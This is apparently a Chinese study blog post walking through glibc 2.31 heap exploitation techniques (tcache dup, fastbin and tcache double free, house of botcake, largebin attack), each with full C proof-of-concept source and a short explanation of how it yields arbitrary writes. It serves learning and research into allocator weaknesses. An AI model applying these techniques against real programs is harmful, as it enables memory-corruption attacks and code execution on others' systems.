heap exploit about ptmalloc in glibc version 2.31

  学习的一下高版本的libc的利用方式。

  项目地址:https://github.com/StarCross-Tech/heap_exploit_2.31

tcache_dup

源代码:

 1 #include<stdio.h>
 2 #include<stdlib.h>
 3 #include<inttypes.h>
 4 int main(int argc,char **argv)
 5 {
 6     //this is tcache
 7     /*
 8     *typedef struct tcache_entry
 9     {
10         struct tcache_entry *next;
11    //This field exists to detect double frees.  
12         struct tcache_perthread_struct *key;
13     } tcache_entry;
14      */
15     setbuf(stdout, 0);
16     setbuf(stderr, 0);
17     printf("tcache_dup can help you achieve "arbitrary address writes"
");
18     void *p,*q,*r,*d;
19     p = malloc(0x10);
20     q = malloc(0x10);
21     free(p);
22     printf("now , we have a tcache which is already free
");
23     printf("We can modify its next pointer!
");
24     *(uint64_t *)p = (uint64_t)q;
25     printf("now p's next pointer = q
");
26     printf("p's next = %p ,q = %p
",*(uint64_t *)p,q);
27     printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
");
28     r = malloc(0x10);
29     d = malloc(0x10);
30     printf("OK!, we get we want!
");
31 }
View Code

  u1s1,我看完之后没有任何收获。

fastbin_double_free

源代码:

 1 #include<stdio.h>
 2 #include<stdlib.h>
 3 #include<inttypes.h>
 4 int main()
 5 {
 6     /*this is double free related security mechanisms in glibc 2.29.
 7      *    if (__builtin_expect (old == p, 0))
 8       malloc_printerr ("double free or corruption (fasttop)");
 9     * */
10     setbuf(stdout, 0);
11     setbuf(stderr, 0);
12     printf("fastbin_double_free can help you achieve "arbitrary address writes"
");
13 
14     void *q,*r,*d;
15     void *p[7];
16     printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!
");
17     for(int i=0;i<7;i++)
18     {
19         p[i] = malloc(0x10);
20         printf("p[%d]  ===>  %p
",i,p[i]);
21     }
22     q = malloc(0x10);
23     r = malloc(0x10);
24     printf("now , we need to free 7 heap blocks to populate tcache linked list!
");
25     for(int i=0;i<7;i++)
26     {
27         printf("now free p[%d]  ===>  %p
",i,p[i]);
28         free(p[i]);
29         p[i] = 0;
30     }
31     printf("now ,Our free heap blocks will be put into fastbin
");
32     printf("now free q  ===>  %p
",q);
33     free(q);
34     printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !
");
35     printf("now free r  ===>  %p
",r);
36     free(r);
37     printf("now we free q again!
");
38     printf("now free q  ===>  %p
",q);
39     free(q);
40     printf("OK,we already achieve double free in glibc 2.29.!
");
41 }
View Code

   利用思路是,先free掉7个chunk来填充tcache,然后就和2.23的double free一样,free(a),free(b),free(a)来达到任意地址写。

tcache_double_free

源代码:

 1 #include<stdio.h>
 2 #include<stdlib.h>
 3 #include<inttypes.h>
 4 int main(int argc,char **argv)
 5 {
 6     //glibc 2.29 Security Mechanism
 7     /*
 8      *if (__glibc_unlikely (e->key == tcache))
 9       {
10         tcache_entry *tmp;
11         LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
12         for (tmp = tcache->entries[tc_idx];
13          tmp;
14          tmp = tmp->next)
15           if (tmp == e)
16         malloc_printerr ("free(): double free detected in tcache 2");
17         // If we get here, it was a coincidence.  We've wasted a
18            few cycles, but don't abort.  
19       }
20      */
21     setbuf(stdout, 0);
22     setbuf(stderr, 0);
23     printf("tcache_double_free can help you achieve "arbitrary address writes"
");
24     void *p,*q,*r,*d;
25     p = malloc(0x10);
26     free(p);
27     printf("now we already free p = %p
",p);
28     printf("we can change its key to help us achieve double free
");
29     printf("its key = %p,now
",*(uint64_t *)(p+8));
30     *(uint64_t *)(p + 8) = 0x122220;
31     printf("after we change,its key = %p
",*(uint64_t *)(p+8));
32     printf("so we can achieve double free!");
33     free(p);
34     printf("now we already achieve double free in glibc 2.29");
35     return 0;
36 }
View Code

  在2.29及以上,chunk被free后存在tache时,为了检测是否被double free引入一个key值。再具体的东西我也不懂(菜狗不想看glibc源码)。

  这个例子的利用思路就是,free(a),然后修改a这个chunk的key值,然后就可以继续free(a)了,然后就可以实现任意写了。

 house_of_botcake

源代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <inttypes.h>
 4 
 5 static uint64_t victim = 0;
 6 int main()
 7 {
 8     setbuf(stdin, NULL);
 9     setbuf(stdout, NULL);
10 
11     printf("Inspired by how2heap
");
12     printf("You can use this technique to create chunk overlap, only relies on double free.
");
13 
14     printf("
1. Alloc 7 chunks to fill up tcache list
");
15 
16     char *x[7];
17     for(int i=0; i<7; i++){
18         x[i] = malloc(0x100);
19     }
20 
21     printf("
2. Prepare two chunk with the same size as befor, for consolidation in unsortedbin
");
22     
23     char *a = malloc(0x100);
24     char *b = malloc(0x100);
25 
26     printf("Padding chunk to prevent consolidation
");
27     malloc(0x10);
28     
29     printf("
3. Fill in the tcache list and consolidation two prepared chunk in unsortedbin
");
30     for(int i=0; i<7; i++){
31         free(x[i]);
32     }   
33 
34     free(b);
35     free(a);
36     
37     printf("
4. Get a chunk from tcache list and make chunk overlap
");
38     malloc(0x100);
39 
40     free(b);
41     printf("Now, chunk %p will be freed into tcache list
", b);    
42     
43     char* res = malloc(0x130);
44     printf("Size is not matched with tcache list, so get chunk from unsortedbin, which makes chunk overlap
");
45     
46     *(uint64_t*)(res+0x110) = (uint64_t)(&victim);
47 
48     printf("Now, you can control tcache list to alloc arbitrary address
");
49     malloc(0x100);
50     
51     char *target = malloc(0x100);
52     printf("Before attack, victim's value: 0x%lx
", victim);
53     *(uint64_t*)target = 0xdeadbeef;
54     printf("After attack, victim's value: 0x%lx
", victim);
55 
56     return 0;
57 }
View Code

  利用double free构造堆块重叠。

  首先将tcache填充满,然后free两个同样大小的堆块a和b,让a和b合并。将tcache中的一个chunk申请出来,然后再次free掉b堆块,此时b堆块既在unsortedbin中,又在tcache链中。

  修改b堆块的fd指针为victim_addr,申请两次chunk,第二次就申请到victim_addr了。

 largebin_attack

源代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <inttypes.h>
 4 
 5 static uint64_t victim;
 6 
 7 int main()
 8 {
 9     setbuf(stdout, 0);
10     setbuf(stderr, 0);
11 
12     printf("You can use this technique to write a big number to arbitrary address
");
13     char *p1, *p2, *p3;
14     printf("
1. Create two chunk, and free the larger one into largebin list
");
15     
16     p1 = malloc(0x458);
17     malloc(0x18);
18     p2 = malloc(0x448);
19     malloc(0x18);
20 
21     free(p1);
22     //trigger
23     malloc(0x600);
24 
25     printf("Now the chunk %p is in largebin
", p1);
26 
27     printf("
2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20
");
28     free(p2);
29     printf("Now the chunk %p is in unsortedbin
", p2);
30 
31     *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20;
32 
33     printf("
3. Alloc a size not match the the chunk size in unsortedbin
");
34     printf("It will trigger largebin attack, write a big number to victim
");
35     printf("Before attack, victim's value: 0x%lx
", victim);
36     malloc(0x68);
37     printf("After attack, victim's value: 0x%lx
", victim);
38 
39     return 0;
40 }
View Code

  创建两个大于0x400的chunk(a)和chunk(b),先将chunk(a)释放掉,让chunk(a)先落入unsortedbin中,再创建size比这个chunk(a)大的堆块,此时的chunk(a)就会进入largebins。

  将chunk(b)释放掉,将chunk(a)的bk_nextsize修改为victim-0x20,此时chunk(b)在unsortedbin中,申请一个比chunk(b)小的chunk,就会触发largebin attack,在victim处留下一个较大的数。

原文地址:https://www.cnblogs.com/bhxdn/p/14671316.html